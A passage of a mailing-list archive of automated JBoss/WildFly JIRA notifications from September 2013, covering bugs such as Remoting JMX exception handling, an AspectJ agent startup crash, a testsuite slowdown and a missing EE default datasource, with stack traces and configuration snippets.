Message-ID: <JIRA.12500534.1378918883000.5799.1380536463157@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808169#comment-12808169 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Ladislav Thon <lthon at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from ON_QA to VERIFIED
                
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:21:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 06:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173000.5802.1380536463380@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808170#comment-12808170 ] 

RH Bugzilla Integration commented on REMJMX-72:
-----------------------------------------------

Ladislav Thon <lthon at redhat.com> made a comment on [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001]

Given that bug 1009762 is already verified, I think we can move this to the "verified" state too, even though the non-productized remoting-jmx 1.1.1 version has never made it to any EAP 6.2.0.ERx.
                
> Release Remoting JMX 1.1.1.Final
> --------------------------------
>
>                 Key: REMJMX-72
>                 URL: https://issues.jboss.org/browse/REMJMX-72
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final
>
>
> Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:21:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 06:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.5810.1380536464066@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808172#comment-12808172 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Ladislav Thon <lthon at redhat.com> made a comment on [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001]

Given that bug 1009762 is already verified, I think we can move this to the "verified" state too, even though the non-productized remoting-jmx 1.1.1 version has never made it to any EAP 6.2.0.ERx.
                
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:21:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 06:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2181) TempFileProviderService
 creates a static, non-daemon thread pool
In-Reply-To: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501805.1380532508000.5806.1380536463720@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2181?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808171#comment-12808171 ] 

RH Bugzilla Integration commented on WFLY-2181:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 1012968|https://bugzilla.redhat.com/show_bug.cgi?id=1012968]

I was able to hit this also on linux during scripts testing (FYI).
                
> TempFileProviderService creates a static, non-daemon thread pool
> ----------------------------------------------------------------
>
>                 Key: WFLY-2181
>                 URL: https://issues.jboss.org/browse/WFLY-2181
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>
> This can prevent the server from shutting down

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:21:04 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 06:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-895) JBoss crashes when run with
 AspectJ java agent
In-Reply-To: <JIRA.12458681.1328740621000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12458681.1328740621000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12458681.1328740621000.5813.1380536464356@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-895?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808173#comment-12808173 ] 

Stuart Douglas commented on WFLY-895:
-------------------------------------

There is one thing we could have done to fix this, and that is to put the logmanager jar on the system class path, and make the logmanager module just have exported dependencies on the system paths. 

Obviously this is not ideal, but there have been quite a few cases where 3rd party javaagents have had this problem, and it would be better if they just worked.  
                
> JBoss crashes when run with AspectJ java agent
> ----------------------------------------------
>
>                 Key: WFLY-895
>                 URL: https://issues.jboss.org/browse/WFLY-895
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>         Environment: OS X 10.7.2, Ubuntu 11.10
>            Reporter: Jack Lund
>            Assignee: David Lloyd
>              Labels: aspectj, load_time_weaving
>
> When trying to start JBoss with the AspectJ java agent (-javaagent:/path/aspectjweaver.jar) to enable load-time weaving, JBoss crashes with the following stack trace in the logs:
> =========================================================================
>   JBoss Bootstrap Environment
>   JBOSS_HOME: /home/jack/jboss-as-7.1.0.CR1b
>   JAVA: java
>   JAVA_OPTS: -server -javaagent:/home/jack/aspectjweaver.jar -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true
> =========================================================================
> WARNING: Failed to load the specified logmodule org.jboss.logmanager:main
> Exception in thread "main" java.lang.ExceptionInInitializerError
> 	at org.jboss.as.server.Main.main(Main.java:92)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:616)
> 	at org.jboss.modules.Module.run(Module.java:248)
> 	at org.jboss.modules.Main.main(Main.java:313)
> Caused by: java.lang.IllegalStateException: The LogManager was not properly installed (you must set the "java.util.logging.manager" system property to "org.jboss.logmanager.LogManager")
> 	at org.jboss.logmanager.Logger.getLogger(Logger.java:60)
> 	at org.jboss.logmanager.log4j.BridgeRepositorySelector.<clinit>(BridgeRepositorySelector.java:42)
> 	... 7 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:59:02 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Mon, 30 Sep 2013 06:59:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2182) Significant slow down of
 testsuite execution
In-Reply-To: <JIRA.12501817.1380538653070@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501817.1380538653070@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501817.1380538653070.5869.1380538742910@jira02.app.mwc.hst.phx2.redhat.com>

Jozef Hartinger created WFLY-2182:
-------------------------------------

             Summary: Significant slow down of testsuite execution
                 Key: WFLY-2182
                 URL: https://issues.jboss.org/browse/WFLY-2182
             Project: WildFly
          Issue Type: Bug
          Components: Remoting
            Reporter: Jozef Hartinger
            Assignee: Kabir Khan


I am observing a significant slow down when running the Weld integration testsuite. I tracked this down to this commit:

https://github.com/wildfly/wildfly/commit/13f09525717a089f8a524d086fd865798410f368

Here are the observed execution times of the Weld integration testsuite:
Before: Total time: 4:30.357s
After: Total time: 11:05.547s

I also tried running the WildFly's integration testsuite (testsuite/integration/basic) with and without the 13f09525717a089f8a524d086fd865798410f368 commit:

Before: Total time: 13:04.412s
After: Total time: 21:33.089s

Note that the difference is not observed when using the arquillian servlet protocol

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:14:02 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 30 Sep 2013 07:14:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.5930.1380539642829@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun moved HAL-229 to WFLY-2183:
---------------------------------------

          Project: WildFly  (was: HAL)
              Key: WFLY-2183  (was: HAL-229)
         Workflow: GIT Pull Request workflow   (was: classic default workflow)
      Component/s: Domain Management
                       (was: Core )
         Security:     (was: Public)
    Fix Version/s: 8.0.0.CR1
                       (was: Core 2.1.0.Final)

    
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:14:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 30 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.5934.1380539643032@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-2183:
---------------------------------

    Assignee: Brian Stansberry  (was: Heiko Braun)

    
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:14:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 30 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.5940.1380539643370@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808186#comment-12808186 ] 

Heiko Braun commented on WFLY-2183:
-----------------------------------

It's a server side issue. The attributes are flagged as "writable=false":


{noformat}
[domain at localhost:9999 /] /profile=default/subsystem=logging/custom-handler=*:read-resource-description(access-control=trim-descriptions, operations=true){role=administrator}
{
    "outcome" => "success",
    "result" => [{
        "address" => [
            ("profile" => "default"),
            ("subsystem" => "logging"),
            ("custom-handler" => "*")
        ],
        "outcome" => "success",
        "result" => {
            "description" => undefined,
            "attributes" => undefined,
            "operations" => undefined,
            "children" => {},
            "access-control" => {
                "default" => {
                    "read" => true,
                    "write" => true,
                    "attributes" => {
                        "enabled" => {
                            "read" => true,
                            "write" => true
                        },
                        "module" => {
                            "read" => true,
                            "write" => false
                        },
                        "class" => {
                            "read" => true,
                            "write" => false
                        },
                        "properties" => {
                            "read" => true,
                            "write" => true
                        },
                        "formatter" => {
                            "read" => true,
                            "write" => true
                        },
                        "filter-spec" => {
                            "read" => true,
                            "write" => true
                        },
                        "level" => {
                            "read" => true,
                            "write" => true
                        },
                        "name" => {
                            "read" => true,
                            "write" => false
                        },
                        "encoding" => {
                            "read" => true,
                            "write" => true
                        },
                        "filter" => {
                            "read" => true,
                            "write" => true
                        }
                    },
                    "operations" => {
                        "read-children-names" => {"execute" => true},
                        "read-operation-description" => {"execute" => true},
                        "remove" => {"execute" => true},
                        "update-properties" => {"execute" => true},
                        "read-resource-description" => {"execute" => true},
                        "enable" => {"execute" => true},
                        "read-resource" => {"execute" => true},
                        "change-log-level" => {"execute" => true},
                        "add" => {"execute" => true},
                        "read-attribute" => {"execute" => true},
                        "whoami" => {"execute" => true},
                        "read-children-types" => {"execute" => true},
                        "read-operation-names" => {"execute" => true},
                        "undefine-attribute" => {"execute" => true},
                        "read-children-resources" => {"execute" => true},
                        "disable" => {"execute" => true},
                        "write-attribute" => {"execute" => true}
                    }
                },
                "exceptions" => {}
            }
        }
    }]
}

{noformat}
                
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:14:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.5950.1380539643851@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808188#comment-12808188 ] 

RH Bugzilla Integration commented on WFLY-2183:
-----------------------------------------------

Heiko Braun <hbraun at redhat.com> changed the Status of [bug 1013521|https://bugzilla.redhat.com/show_bug.cgi?id=1013521] from ASSIGNED to NEW
                
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:16:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 07:16:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.5953.1380539763189@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2183:
------------------------------------------

        Bugzilla Update:   (was: Perform)
    Bugzilla References:   (was: https://bugzilla.redhat.com/show_bug.cgi?id=1013521)

    
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:16:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 07:16:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.5960.1380539763461@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2183:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013521

    
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:42:02 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 30 Sep 2013 07:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) EE Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.5984.1380541322782@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808190#comment-12808190 ] 

Eduardo Martins commented on WFLY-2027:
---------------------------------------

WFLY-2158 PR includes fix for this issue.
                
> EE Default DataSource is not working
> ------------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: ConfigAdmin, Domain Management, EE, JCA, JPA / Hibernate, Web Console
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 30 07:48:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 07:48:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2177) org.jboss.logmanager module
 needs dependency on javax.api for the SocketFactory
In-Reply-To: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501765.1380321136000.5992.1380541682586@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808192#comment-12808192 ] 

RH Bugzilla Integration commented on WFLY-2177:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> made a comment on [bug 1013169|https://bugzilla.redhat.com/show_bug.cgi?id=1013169]

Same issue is in audit-log in syslog-handler. Audit log has P0 and it could be customer problem in Beta, because it couldn't be set and used by customer. For that reason it is candidate on Beta blocker. PR sent by James solves this issue.
                
> org.jboss.logmanager module needs dependency on javax.api for the SocketFactory
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-2177
>                 URL: https://issues.jboss.org/browse/WFLY-2177
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>
> The {{javax.net.SocketFactory}} is part of the {{javax.api}} module. Since the {{org.jboss.logmanager}} uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:53:02 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 30 Sep 2013 07:53:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2169) Add support to change various
 Undertow listener options
In-Reply-To: <JIRA.12501691.1380249028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501691.1380249028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501691.1380249028000.6000.1380541982586@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2169?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2169:
------------------------------

    Summary: Add support to change various Undertow listener options  (was: Add support to change various Undertow options through WildFly in standalone.xml)

    
> Add support to change various Undertow listener options
> -------------------------------------------------------
>
>                 Key: WFLY-2169
